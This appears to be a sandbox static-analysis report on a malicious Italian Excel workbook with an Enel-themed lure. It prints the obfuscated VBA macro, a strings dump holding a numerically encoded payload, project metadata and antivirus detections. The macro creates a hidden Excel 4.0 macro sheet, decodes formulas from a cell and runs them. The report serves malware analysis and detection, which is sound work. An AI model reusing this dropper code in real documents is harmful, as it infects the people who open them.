Static | ZeroBOX

Original


                                        Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function Onto()
Onto = "T" & R_Rt & "O" & "()"
End Function



Function ritor_n(dd As String, i As Integer)
i = r: Sheets(1).[D4].FormulaLocal = dd
End Function


Function r_itorn()
r_itorn = m_tf & "R" & "I"
End Function
Function b_ella()
rom = 7: Sheets(4 - 3).Cells(27, 4).FormulaLocal = r_itorn & Onto
End Function



Sub I_Ingrandisci()
ec_e = 3
Excel4MacroSheets.Add(Before:=Worksheets((1))).Name = sc_team: S_mes
v_ve = mi_i
For Each Ax In rem_m
ec_e = 1: ec_e = 5: vG = (ritor_n(m_tf & Ax, 1 + ec_e)): ec_e = 112: Lii ((ec_e))
Next
End Sub




Function mi_i()
mi_i = b_ella
End Function

Sub S_mes()
ActiveSheet.Visible = 0
End Sub
Function R_Rt() As String
R_Rt = sc_team & "RN"
End Function
Sub Lii(w As Long)
numm = w: Run ("" & "D" & 3)
End Sub
Function rem_m() As Variant
For Each Xd In kp_p(Cells(93, 5), 3)
If Not (IsNumeric(Xd)) Then gj = LTrim(Left(Xd, q_sin("" & Xd) - 1)) Else gj = LTrim(Xd)
eh = eh & Chr(gj)
Next
rem_m = Split(eh, "" & "k")
End Function

Function sc_team() As String
sc_team = "O"
End Function
Function m_tf()
m_tf = sc_team: m_tf = "="
End Function
Function q_sin(a As String)
q_sin = Len(a)
End Function

Public Function kp_p(a As String, z As Long) As Variant
    Dim q As Long, pk As Long
    Dim il() As String
ReDim il(0 To CLng((q_sin(a) / z) - 1))

    For q = 1 To q_sin(a) Step z
        il(pk) = Mid(a, q, z): pk = pk + 1
Next
kp_p = il
End Function








                                    

Deobfuscated


                                        Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function Onto()
Onto = "T" & R_Rt & "O()"
End Function



Function ritor_n(dd As String, i As Integer)
i = r: Sheets(1).[D4].FormulaLocal = dd
End Function


Function r_itorn()
r_itorn = m_tf & "RI"
End Function
Function b_ella()
rom = 7: Sheets(4 - 3).Cells(27, 4).FormulaLocal = r_itorn & Onto
End Function



Sub I_Ingrandisci()
ec_e = 3
Excel4MacroSheets.Add(Before:=Worksheets((1))).Name = sc_team: S_mes
v_ve = mi_i
For Each Ax In rem_m
ec_e = 1: ec_e = 5: vG = (ritor_n(m_tf & Ax, 1 + ec_e)): ec_e = 112: Lii ((ec_e))
Next
End Sub




Function mi_i()
mi_i = b_ella
End Function

Sub S_mes()
ActiveSheet.Visible = 0
End Sub
Function R_Rt() As String
R_Rt = sc_team & "RN"
End Function
Sub Lii(w As Long)
numm = w: Run ("D" & 3)
End Sub
Function rem_m() As Variant
For Each Xd In kp_p(Cells(93, 5), 3)
If Not (IsNumeric(Xd)) Then gj = LTrim(Left(Xd, q_sin("" & Xd) - 1)) Else gj = LTrim(Xd)
eh = eh & Chr(gj)
Next
rem_m = Split(eh, "k")
End Function

Function sc_team() As String
sc_team = "O"
End Function
Function m_tf()
m_tf = sc_team: m_tf = "="
End Function
Function q_sin(a As String)
q_sin = Len(a)
End Function

Public Function kp_p(a As String, z As Long) As Variant
    Dim q As Long, pk As Long
    Dim il() As String
ReDim il(0 To CLng((q_sin(a) / z) - 1))

    For q = 1 To q_sin(a) Step z
        il(pk) = Mid(a, q, z): pk = pk + 1
Next
kp_p = il
End Function








                                    

Original


                                        Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    
B
Questa_cartella_di_lavoro
_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-
_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
_-;_-* "
20% - Colore 1
20% - Colore 2
20% - Colore 3
20% - Colore 4
20% - Colore 5
20% - Colore 6
40% - Colore 1
40% - Colore 2
40% - Colore 3
40% - Colore 4
40% - Colore 5
40% - Colore 6
60% - Colore 1
60% - Colore 2
60% - Colore 3
60% - Colore 4
60% - Colore 5
60% - Colore 6
Calcolo
Cella collegata
Cella da controllare
Colore 1
Colore 2
Colore 3
Colore 4
Colore 5
Colore 6
Neutrale
Output
Testo avviso
Testo descrittivo
Titolo
Titolo 1
Titolo 2
Titolo 3
Titolo 4
Totale
Valore non valido
Valore valido
sett.-ott. 2021
I_Ingrandisci
Questa_cartella_di_lavoro.I_Ingrandisci
tEXtSoftware
Adobe ImageReadyq
0PLTEGGG
<AIDATx
|m(y`2vx
~2R,y|
Ho8jVY
cv' 6xs
S~S;, M;J^
lJ.'|0
*T?-kn.
[@~=1/
Qrfv&Qt
g 6QiA
7u:<'rfp
#&&//*
0qZpg'
XdXC1kB
ZDMk,T2FG
~W{#F#E/
o{]tGBI
1k{~Yy
d,fSGIV
b,Fo=.K}!v
nGi2PL,#
5IJZX7#tAB
Q&grGG)
>K VL#
35I&6J4
78w79s77g69B46r82i73w70G40p34o10934c59O57p48M41Y10778m79U77l69X46b82B73p70n40h34z68w34T59p34N92T34P41b10778e79t77O69Q46Z82j73e70H40X34q11234K59d34X48N34s41C10778C79A77F69q46j82r73V70i40h34x75B34E59v34U11934k41c10778M79u77x69R46u82y73M70W40r34F90s34e59G34c11134b41D10783k69C40o86s65S76s46D78x85P77M69j82F79e40W82S73d67u69J82f67S65c40z75u59Y73a78G70a79g46o65d82J69S65T46R68W73t46A76H65l86y79y82O79R40U49M41l41A41t59d32L59N67i72K73P85d68Z69I40V86v69v82W79f41r41T10778n79S77q69I46i82I73U70O40g34P84m34W59g12334m67i34u92L34a10892h84j34s92Q34L65o34q92X34d82w76E34u92Z34V51V50T34Y92J34Q74Y34o92P34O98e10512234U12541X10778O79n77R69v46t82b73Q70k40a34R10510234f59p67Y79Y68L73L67n69v46I67k65D82j65H84Z84l40Z49W49Q53i41f41C10778m79x77D69z46K82b73c70y40z34J86g34N59r34H97n34t41N10778V79K77q69l46m82k73p70a40T34a70E34f59R73h78k70n79f46E65h82M69w65s46g68B73r46i76w65G86p79o82c79O40p49M51Y41m38U34l46X34b41B10778p79n77h69z46w82T73p70N40T34P65b34e59t83O73Q78Z73j83e84H82X65q40K73d78X70N79s46C65C82A69F65q46j68r73V46i76h65x86B79E82v79U40k50c5
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
z)P -z)
jaHyO9
<PyJS=
)\KyNG_
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
ffffff
ffffff
333333
?333333
[Content_Types].xml
_rels/.rels
drs/shapexml.xml
d_I.Q.
XL(]V\1
drs/downrev.xmlL
4!&C$>
fCS#*_.K
[Content_Types].xmlPK
_rels/.relsPK
drs/shapexml.xmlPK
drs/downrev.xmlPK
V I S U A L I Z Z A<
Foglio1g
IFalse
Creatabl
Predecl
BExpose
Template`Deriv
stomiz
Function
Onto()
or_n(dd
Sheets(1
).[D4].F
ormulaLo
m_tfA+RB+fI
7F#4 -
s(2`7, 4)M&
I_Ingran disci
xcel@4MacroCA.
Add(Befo
re:=WorkFs
G@G)).
s@c_team
Each Ax
In rem_
5: vG@<(Ej
LAx, 1 +
Lii ((
)@oNext
B.Vis:iC
w: Run (
Varia&n
Not (Is
Num`tc(Xd
)) Then
$LTrim (Left
Chr(<gj
lit(eh,
0 To C Lng((
Ste8p z
Attribut
e VB_Nam
e = "Que
sta_cart
ella_di_
lavoro"
00020819
$ 0046}
Attribut
e VB_Nam
e = "Fog
020820-
|GlobaBl
dCre atabl
Pr@edecla
plateDer
Win64x
VBAProject
stdole
Office
Questa_cartella_di_lavoro
_Evaluate
ritor_n
Sheets
FormulaLocal
r_itorn
b_ella
I_Ingrandiscig
Excel4MacroSheets
Before
Worksheets
sc_team
mi_iyZ
ActiveSheet%N
Visible
IsNumeric$*
q_sinY
Foglio1
Workbookk
Worksheet
VBAPr@oject
9stdol
{0002043
0046}#2.
0#0#C:\W
indows\S
ystem32\
e2.tlb#O
LE Autom
E Offic
E2DF8D
04C-5BFA
-101B-BD
Files\Co
rosoft S
hared\OF
FICE16\M
SO.DLL#
M 16.0 O
Libra,ry
Questa_c
artella_
di_lavor
glio1G
@(g@/i
VBAProject
Questa_cartella_di_lavoro
Foglio1
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
Workbook
ritor_n
r_itorn
b_ella
I_Ingrandisci
sc_team
Worksheet
Questa_cartella_di_lavoro
Foglio1
ID="{3201003A-B063-47CF-AD18-0E842D9325DC}"
Document=Questa_cartella_di_lavoro/&H00000000
Document=Foglio1/&H00000000
Name="VBAProject"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="4B49FDB44CB84CB84CB84CB8"
DPB="9694200120076A086A086A"
GC="E1E3579858985867"
[Host Extender Info]
&H00000001={3832C640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
Questa_cartella_di_lavoro=26, 26, 790, 437, Z
Foglio1=0, 0, 0, 0, C
Enel Italia S.p.A
sett.-ott. 2021
Fogli di lavoro
(Foglio di lavoro di Microsoft Excel 2003
Excel.Sheet.8
Root Entry
Workbook
_VBA_PROJECT_CUR
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1*
Calibri Light1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri
#,##0\ "
";\-#,##0\ "
#,##0\ "
";[Red]\-#,##0\ "
#,##0.00\ "
";\-#,##0.00\ "
#,##0.00\ "
";[Red]\-#,##0.00\ "
_-* #,##0\ "
"_-;\-* #,##0\ "
"_-;_-* "-"\ "
"_-;_-@_-
_-* #,##0.00\ "
"_-;\-* #,##0.00\ "
"_-;_-* "-"??\ "
"_-;_-@_-
20% - Colore 1
20% - Colore 2
20% - Colore 3
20% - Colore 4
20% - Colore 5
20% - Colore 6
40% - Colore 1
40% - Colore 2
40% - Colore 3
40% - Colore 4
40% - Colore 5
40% - Colore 6
60% - Colore 1
60% - Colore 2
60% - Colore 3
60% - Colore 4
60% - Colore 5
60% - Colore 6
Calcolo
Cella collegata
Cella da controllare
Colore 1
Colore 2
Colore 3
Colore 4
Colore 5
Colore 6
Migliaia
Migliaia [0]
Neutrale
Normale
Output
Percentuale
Testo avviso
Testo descrittivo
Titolo
Titolo 1
Titolo 2
Titolo 3
Titolo 4
Totale
Valore non valido
Valore valido
Valuta
Valuta [0]
TableStyleMedium2PivotStyleLight16
Lettera
Immagine 2
Rettangolo con angoli arrotondati 3
Questa_cartella_di_lavoro
__SRP_2
__SRP_3
Foglio1
N0{00020819-0000-0000-C000-000000000046}
$*\Rffff*0363645f5c
N0{00020820-0000-0000-C000-000000000046}
$*\Rffff*0463645f62
__SRP_4
__SRP_5
_VBA_PROJECT
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE#Microsoft Excel 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
2Questa_cartella_di_lavoro
0363645f5c
2Questa_cartella_di_lavoro
Foglio1
0463645f62
Foglio1
__SRP_0
__SRP_1
PROJECTwm
PROJECT
oQuesta_cartella_di_lavoro
1Foglio1
SummaryInformation
DocumentSummaryInformation
CompObj
Antivirus Signature
Bkav Clean
Lionic Clean
Cynet Clean
CMC Clean
CAT-QuickHeal Clean
McAfee Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Malware.Generic-VBA.Save.Obfuscated
K7AntiVirus Clean
K7GW Clean
Baidu Clean
Cyren X97M/Agent.ABU.gen!Eldorado
Symantec Clean
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Clean
ClamAV Clean
Kaspersky HEUR:Trojan.Script.Generic
BitDefender Clean
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan Clean
Rising Clean
Ad-Aware Clean
Emsisoft Clean
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Artemis!Trojan
FireEye Clean
Sophos Clean
SentinelOne Clean
Jiangmin Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Microsoft Clean
Gridinsoft Clean
Arcabit Clean
ViRobot Clean
ZoneAlarm HEUR:Trojan.Script.Generic
GData Clean
TACHYON Clean
AhnLab-V3 Clean
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
MAX Clean
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet VBA/Agent.WPW!tr
Panda Clean
No IRMA results available.